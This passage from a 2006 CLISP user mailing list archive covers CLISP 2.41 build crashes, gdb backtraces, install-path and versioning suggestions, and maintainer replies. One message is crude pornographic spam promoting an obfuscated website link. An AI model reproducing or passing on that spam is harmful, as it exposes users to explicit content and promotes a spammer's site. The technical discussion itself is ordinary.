clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Oct 2006 02:54:39 -0000 > * Hoehle, Joerg-Cyril [2006-10-13 11:06:34 +0200]: > > Sam Steingold wrote: >>no, set-foreign-pointer sets fa_base of model to fv_address of problem. >>problem can be collected without collecting its fv_address. >>I don't see how this can work. > > I still think it can work. I tried and failed, so - http://www.cygwin.com/acronyms/#PTC :-) (actually, DIY - you _do_ have cvs write access) you do not need to install anything, just do make MODULES=libsvm full mod-check -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://mideasttruth.com http://israelunderattack.slide.com http://honestreporting.com http://memri.org char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From beebe@math.utah.edu Tue Oct 17 11:00:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZtEZ-0005qQ-Jc for clisp-list@lists.sourceforge.net; Tue, 17 Oct 2006 11:00:11 -0700 Received: from mail.math.utah.edu ([155.101.98.135]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GZtEY-00029a-5X for clisp-list@lists.sourceforge.net; Tue, 17 Oct 2006 11:00:11 -0700 Received: from psi.math.utah.edu (psi.math.utah.edu [155.101.96.19]) by mail.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9HGg4lB020225; Tue, 17 Oct 2006 10:42:04 -0600 (MDT) Received: from psi.math.utah.edu (localhost [127.0.0.1]) by psi.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9HGg42F020266; Tue, 17 Oct 2006 10:42:04 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.6/8.13.6/Submit) id k9HGg3OV020264; Tue, 17 Oct 2006 10:42:04 -0600 (MDT) Date: Tue, 17 Oct 2006 10:42:04 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (mail.math.utah.edu [155.101.98.135]); Tue, 17 Oct 2006 10:42:04 -0600 (MDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: beebe@math.utah.edu Subject: [clisp-list] clisp-2.41 build problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Oct 2006 18:00:12 -0000 I got clisp-2.41 to build successfully with gcc-3.4.3 on GNU/Linux IA-32, and gcc-3.3.6 on Sun Solaris 10 SPARC. However, a similar build on GNU/Linux on AMD64 with gcc-3.3.5 produces an executable that dumps core during the validation tests. Here is a debug traceback: % gdb ./lisp.run (gdb) run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)' Starting program: /local/build/clisp-2.41/src/lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)' Program received signal SIGSEGV, Segmentation fault. 0x00000000004c50ee in write_errorasciz_substring (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119 119 var uintL clen = Encoding_mblen(encoding)(encoding,bptr,bendptr); (gdb) bt #0 0x00000000004c50ee in write_errorasciz_substring (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119 #1 0x00000000004c529b in write_errorstring (errorstring=0x56247f ": illegal ~S argument ~S") at error.d:193 #2 0x00000000004c5a61 in prepare_error (errortype=type_error, errorstring=0x56247d "~S: illegal ~S argument ~S", start_driver_p=true) at error.d:336 #3 0x00000000004c5a8e in fehler (errortype=Variable "errortype" is not available. ) at error.d:349 #4 0x0000000000438389 in C_make_encoding () at encoding.d:2042 #5 0x00000000004395b6 in init_encodings_2 () at encoding.d:2475 #6 0x000000000041191a in initmem () at spvw.d:1503 #7 0x00000000004141d5 in init_memory (p=0x6fbb00) at spvw.d:2925 #8 0x0000000000412bed in main (argc=16, argv=0x7fbfffe198) at spvw.d:3278 On IA-64, with a build using gcc-3.4.2, I get a different error: ./lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" Cannot map memory to address 0x4000000000000 . [spvw_mmap.d:359] errno = EINVAL: Invalid argument. ./lisp.run: Not enough memory for Lisp. The "not enough memory" error is bogus, since the machine has 4GB of RAM, and a load of essentially zero, with nothing else of significance running. On Sun Solaris IA-32 in a build with gcc-3.3, I get this test failure: ;; Loading file /local/build/gcc/clisp-2.41/src/compiler.fas ...*** Signal 11 make: Fatal error: Command failed for target `halfcompiled.mem' For now, I've created a binary distribution of the IA-32 installation of clisp-2.41, and installed that on the AMD64 and IA-64 systems, since both can run IA-32 binaries. I have a score of other architectures and Unix versions on which I could build clisp, but since each build requires several manual steps, I'm not attempting those extra builds until the problems on our key architectures get sorted out. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe/ - ------------------------------------------------------------------------------- From beebe@math.utah.edu Thu Oct 19 07:00:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GaYRv-0005br-80 for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 07:00:43 -0700 Received: from mail.math.utah.edu ([155.101.98.135]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GaYRq-0001Uq-FZ for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 07:00:43 -0700 Received: from psi.math.utah.edu (psi.math.utah.edu [155.101.96.19]) by mail.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9JDicFI000738; Thu, 19 Oct 2006 07:44:38 -0600 (MDT) Received: from psi.math.utah.edu (localhost [127.0.0.1]) by psi.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9JDicdF009233; Thu, 19 Oct 2006 07:44:38 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.6/8.13.6/Submit) id k9JDicF1009231; Thu, 19 Oct 2006 07:44:38 -0600 (MDT) Date: Thu, 19 Oct 2006 07:44:38 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (mail.math.utah.edu [155.101.98.135]); Thu, 19 Oct 2006 07:44:38 -0600 (MDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: beebe@math.utah.edu Subject: [clisp-list] clisp, version numbering, and documentation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 14:00:43 -0000 At present, a build of clisp (2.41 being the most recent) produces an installation of 84 files in these directories: $(prefix)/bin/clisp $(prefix)/lib/clisp/ $(prefix)/share/doc/clisp/ This makes it inconvenient to maintain multiple versions of clisp on the system, since the only way to do that is to change the value of prefix, requiring yet another directory in a possibly already-long PATH list. Many other packages take the approach exhibited by this structure: $(prefix)/bin/clisp $(prefix)/bin/clisp-x.y.z $(prefix)/lib/clisp-x.y.z/ $(prefix)/share/doc/clisp-x.y.z/ or this one $(prefix)/bin/clisp $(prefix)/bin/clisp-x.y.z $(prefix)/lib/clisp/clisp-x.y.z/ $(prefix)/share/doc/clisp/clisp-x.y.z/ where the clisp file in the bin directory is a (symbolic or hard) link to clisp-x.y.z. Installation of the next release of the package removes $(prefix)/bin/clisp before installing the new executable, so that on completion, all older versions remain intact, and usable by explicit name, with clisp pointing to the most recent. With large complex systems, I have often found it useful to be able to easily try older versions of the package when an anomaly or bug shows up. Please consider making such a change in future versions of clisp. I also notice that clisp has neither a manual page nor an emacs info document; both would be welcome additions to future distributions. While there are a dozen HTML files in the distribution tree, along with clisp.{dvi,ps,pdf}, Unix systems have no standard place to put these, and users are accustomed to run the man and info commands to find documentation. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe/ - ------------------------------------------------------------------------------- From beebe@math.utah.edu Thu Oct 19 07:06:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GaYXk-0006Cd-6M for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 07:06:46 -0700 Received: from mail.math.utah.edu ([155.101.98.135]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GaYXd-0003jj-SQ for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 07:06:43 -0700 Received: from psi.math.utah.edu (psi.math.utah.edu [155.101.96.19]) by mail.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9JE6Gf7002807; Thu, 19 Oct 2006 08:06:16 -0600 (MDT) Received: from psi.math.utah.edu (localhost [127.0.0.1]) by psi.math.utah.edu (8.13.6/8.13.6) with ESMTP id k9JE6GR2009291; Thu, 19 Oct 2006 08:06:16 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.6/8.13.6/Submit) id k9JE6GCo009289; Thu, 19 Oct 2006 08:06:16 -0600 (MDT) Date: Thu, 19 Oct 2006 08:06:16 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (mail.math.utah.edu [155.101.98.135]); Thu, 19 Oct 2006 08:06:17 -0600 (MDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: beebe@math.utah.edu Subject: [clisp-list] clisp and installation location dependence X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 14:06:46 -0000 In working around build problems for clisp-2.41, I built two binary distribution archives, one from a successful build on GNU/Linux on IA-32 for installation on local AMD64 and IA-64 systems where I still have build failures, and another for a remote user who did not have a C compiler on Sun Solaris 10 SPARC that could successfully build clisp-2.41 (I did my build with gcc-3.3.3). After doing the build with the default prefix=/usr/local setting, to make the binary tree, I tried $ make prefix=/tmp/clisp install That produced an installation tree that I could bundle up starting in /tmp/clisp, but it would not run in any file tree with a different prefix. I then did $ cd /tmp/clisp $ find . ! -type d | sort > ~/foo.cfiles $ cd /usr/local $ tar cf ~/clisp-2.41-solaris-10-sparc-binary-dist.tar.gz `cat ~/foo.cfiles` to create a distribution relative to the standard /usr/local that would run elsewhere, although I later found that I needed to include lib/libreadline.so.5 as well. It would be nice if clisp could work out its own installed file locations by computing paths relative to the pathname of the clisp binary, rather than having them hard-coded in the executable: $ strings -a /usr/local/bin/clisp | grep /usr/local %MAGIC%LISPLIBDIR=/usr/local/lib/clisp %MAGIC%LOCALEDIR=/usr/local/share/locale /usr/local/bin/clisp Developers on Apple Mac OS X do this for most applications, so their distributions can be unbundled anywhere in the filesystem, and used from there. The commercial Maple, Mathematica, and Matlab systems all do this as well. All use wrapper shell scripts that are configured at installation time to record absolute pathnames. Similarly, in the annual TeXLive distributions that some dedicated people in the TeX User Group have been producing for the last decade, all binaries are statically linked, and use relative paths to find files, so that they can be run directly off the distribution CDs and DVDs, or copied onto a user's filesystem in any convenient location, and they do not rely on availability of particular shared libraries on end-user systems. I myself have written packages that have hard-wired paths compiled into them, but elimination of that infelicity is on my TO-DO list for each of them. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe/ - ------------------------------------------------------------------------------- From sds@gnu.org Thu Oct 19 08:26:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GaZnE-0008NW-7R for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:26:48 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GaZnA-0004cg-Jo for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:26:48 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A927186700BA; Thu, 19 Oct 2006 11:26:31 -0400 Message-ID: <45379924.4060402@gnu.org> Date: Thu, 19 Oct 2006 11:26:28 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Nelson H. F. Beebe" , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp and installation location dependence X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 15:26:48 -0000 Nelson H. F. Beebe wrote: > In working around build problems for clisp-2.41, I built two binary > distribution archives, one from a successful build on GNU/Linux on > IA-32 for installation on local AMD64 and IA-64 systems where I still > have build failures, and another for a remote user who did not have a > C compiler on Sun Solaris 10 SPARC that could successfully build > clisp-2.41 (I did my build with gcc-3.3.3). > > After doing the build with the default prefix=/usr/local setting, to > make the binary tree, I tried > > $ make prefix=/tmp/clisp install the standard way to share CLISP binary distributions, as explained in unix/INSTALL, is to do $ make distrib > That produced an installation tree that I could bundle up starting in > /tmp/clisp, but it would not run in any file tree with a different > prefix. of course. this is because "make install" records lisplibdir in the clisp executable. > It would be nice if clisp could work out its own installed file > locations by computing paths relative to the pathname of the clisp > binary, rather than having them hard-coded in the executable: clisp already does it if you use "make distrib", search for ENABLE_RELOCATABLE. Sam. From sds@podval.org Thu Oct 19 08:47:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gaa75-0002N8-Fk for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:47:19 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gaa6z-00070m-Uo for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:47:19 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ADF170E00BE; Thu, 19 Oct 2006 11:46:57 -0400 Message-ID: <45379DF0.4060208@podval.org> Date: Thu, 19 Oct 2006 11:46:56 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <45354BA9.5010806@gnu.org> In-Reply-To: <45354BA9.5010806@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp-2.41 build problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 15:47:19 -0000 [oops, posting via gmane does not work!] Sam Steingold wrote: > Nelson H. F. Beebe wrote: >> I got clisp-2.41 to build successfully with gcc-3.4.3 on GNU/Linux >> IA-32, and gcc-3.3.6 on Sun Solaris 10 SPARC. > > good. > >> However, a similar build on GNU/Linux on AMD64 with gcc-3.3.5 produces >> an executable that dumps core during the validation tests. > > this is not validation, this is lisp image creation. > >> Here is a debug traceback: >> >> % gdb ./lisp.run >> (gdb) run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 >> -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) >> (ext::exit)) (ext::exit t)' >> Starting program: /local/build/clisp-2.41/src/lisp.run -B . -N >> locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and >> (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)' >> >> Program received signal SIGSEGV, Segmentation fault. >> 0x00000000004c50ee in write_errorasciz_substring (start=0x56247f >> ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119 >> 119 var uintL clen = >> Encoding_mblen(encoding)(encoding,bptr,bendptr); >> (gdb) bt >> #0 0x00000000004c50ee in write_errorasciz_substring >> (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument >> ~S") at error.d:119 >> #1 0x00000000004c529b in write_errorstring (errorstring=0x56247f >> ": illegal ~S argument ~S") at error.d:193 >> #2 0x00000000004c5a61 in prepare_error (errortype=type_error, >> errorstring=0x56247d "~S: illegal ~S argument ~S", >> start_driver_p=true) at error.d:336 >> #3 0x00000000004c5a8e in fehler (errortype=Variable "errortype" >> is not available. >> ) at error.d:349 >> #4 0x0000000000438389 in C_make_encoding () at encoding.d:2042 > > could you please check which encoding does it fail to create? > is the encoding present on your system (check with iconv -l) > maybe your iconv is broken? > what is your glibc version? > please try "./configure --without-unicode" - it will avoid all encoding > issues but you will be stuck with 8bit chars. > >> #5 0x00000000004395b6 in init_encodings_2 () at encoding.d:2475 >> #6 0x000000000041191a in initmem () at spvw.d:1503 >> #7 0x00000000004141d5 in init_memory (p=0x6fbb00) at spvw.d:2925 >> #8 0x0000000000412bed in main (argc=16, argv=0x7fbfffe198) at >> spvw.d:3278 > > WFM, you can find the clisp amd64 package on SF. > >> On IA-64, with a build using gcc-3.4.2, I get a different error: >> >> ./lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 >> -norc -m 1800KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) >> (ext::exit)) (ext::exit t)" >> Cannot map memory to address 0x4000000000000 . >> [spvw_mmap.d:359] errno = EINVAL: Invalid argument. >> ./lisp.run: Not enough memory for Lisp. >> >> The "not enough memory" error is bogus, since the machine has 4GB of >> RAM, and a load of essentially zero, with nothing else of significance >> running. > > please see unix/PLATFORMS and search for "IA-64" > >> On Sun Solaris IA-32 in a build with gcc-3.3, I get this test failure: >> >> ;; Loading file /local/build/gcc/clisp-2.41/src/compiler.fas >> ...*** Signal 11 >> make: Fatal error: Command failed for target `halfcompiled.mem' > > > wow - you got quite far! > could y please try to debug this (replace "-O" with "-g"). > thanks. > > > > From sds@podval.org Thu Oct 19 08:47:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gaa7T-0002Nb-Jj for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:47:43 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gaa7Q-00087C-VZ for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 08:47:43 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE1371300BE; Thu, 19 Oct 2006 11:47:31 -0400 Message-ID: <45379E11.3050508@podval.org> Date: Thu, 19 Oct 2006 11:47:29 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <45379743.9000109@gnu.org> In-Reply-To: <45379743.9000109@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp, version numbering, and documentation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 15:47:43 -0000 [oops, posting via gmane does not work!] Sam Steingold wrote: > Nelson H. F. Beebe wrote: >> $(prefix)/bin/clisp >> $(prefix)/bin/clisp-x.y.z >> $(prefix)/lib/clisp/clisp-x.y.z/ >> $(prefix)/share/doc/clisp/clisp-x.y.z/ > > some packages do that. > some don't. > you can try > make install lisplibdir=/usr/lib/clisp-x.y.z > >> Please consider making such a change in future versions of clisp. > > http://www.cygwin.com/acronyms/#PTC > >> I also notice that clisp has neither a manual page nor an emacs info >> document; both would be welcome additions to future distributions. > > this claim is surprising. > clisp comes with a man page in both HTML and ROFF, and "make install" > installs both. > > if you know of a way to generate info from docbook/xml, PTC. > clisp also comes with extensive implementation notes in HTML format > (multi-part: http://clisp.cons.org/impnotes/, monolith: > http://clisp.cons.org/impnotes.html) > > Sam. > From wvaldezrync@seligmandata.com Thu Oct 19 14:42:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GafeW-0006eb-Af for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 14:42:12 -0700 Received: from hst-4-30.relef.net ([91.92.4.30]) by mail.sourceforge.net with smtp (Exim 4.44) id 1GafeU-0003mR-7w for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 14:42:12 -0700 Received: from mail.seligmandata.com by hst-4-30.relef.net (8.9.3/8.9.3) with ESMTP id 000000036c73 for ; Thu, 19 Oct 2006 16:47:43 -0500 Received: from kjnimsshtsov (HELO senwv) ([15.190.141.58]) by mail.seligmandata.com with SMTP id 08jyUO1Olgtv for ; Thu, 19 Oct 2006 16:47:43 -0500 From: "Fidel" Message-ID: <7082988728.100252294438@seligmandata.com> Date: Thu, 19 Oct 2006 16:47:43 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Blonde TINY fucvked in all holes self X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Fidel Boggs List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 21:42:12 -0000 by THnESE TIeNY SLUoTS CAN'T STOP COMMIlNG ... .. ONqCE THsEY TAKeE ALL 14 INgCHES!! provide hugenot: && > www. lemuwin .com < && (!!! del space's !!!) to more their ever by out here, your seen offer three, forever want? bye Fidel Boggs From pjb@informatimago.com Thu Oct 19 15:48:06 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GaggI-0004Vs-IN for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 15:48:06 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GaggF-0005Ud-8L for clisp-list@lists.sourceforge.net; Thu, 19 Oct 2006 15:48:06 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 12A1F585E7; Fri, 20 Oct 2006 00:47:49 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7173F585E6; Fri, 20 Oct 2006 00:47:47 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 27FB1C52; Fri, 20 Oct 2006 00:47:47 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17720.147.117657.351341@thalassa.informatimago.com> Date: Fri, 20 Oct 2006 00:47:47 +0200 To: "Nelson H. F. Beebe" In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, version numbering, and documentation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Oct 2006 22:48:07 -0000 Nelson H. F. Beebe writes: > At present, a build of clisp (2.41 being the most recent) produces an > installation of 84 files in these directories: >=20 > $(prefix)/bin/clisp > $(prefix)/lib/clisp/ > $(prefix)/share/doc/clisp/ >=20 > This makes it inconvenient to maintain multiple versions of clisp on > the system, since the only way to do that is to change the value of > prefix, requiring yet another directory in a possibly already-long > PATH list. >=20 > Many other packages take the approach exhibited by this structure: >=20 > $(prefix)/bin/clisp > $(prefix)/bin/clisp-x.y.z > $(prefix)/lib/clisp-x.y.z/ > $(prefix)/share/doc/clisp-x.y.z/ >=20 > or this one >=20 > $(prefix)/bin/clisp > $(prefix)/bin/clisp-x.y.z > $(prefix)/lib/clisp/clisp-x.y.z/ > $(prefix)/share/doc/clisp/clisp-x.y.z/ >=20 > where the clisp file in the bin directory is a (symbolic or hard) link > to clisp-x.y.z. >=20 > Installation of the next release of the package removes >=20 > $(prefix)/bin/clisp >=20 > before installing the new executable, so that on completion, all older > versions remain intact, and usable by explicit name, with clisp > pointing to the most recent. >=20 > With large complex systems, I have often found it useful to be able to > easily try older versions of the package when an anomaly or bug shows > up. >=20 > Please consider making such a change in future versions of clisp. What's the problem with a different prefix for each version? I install my 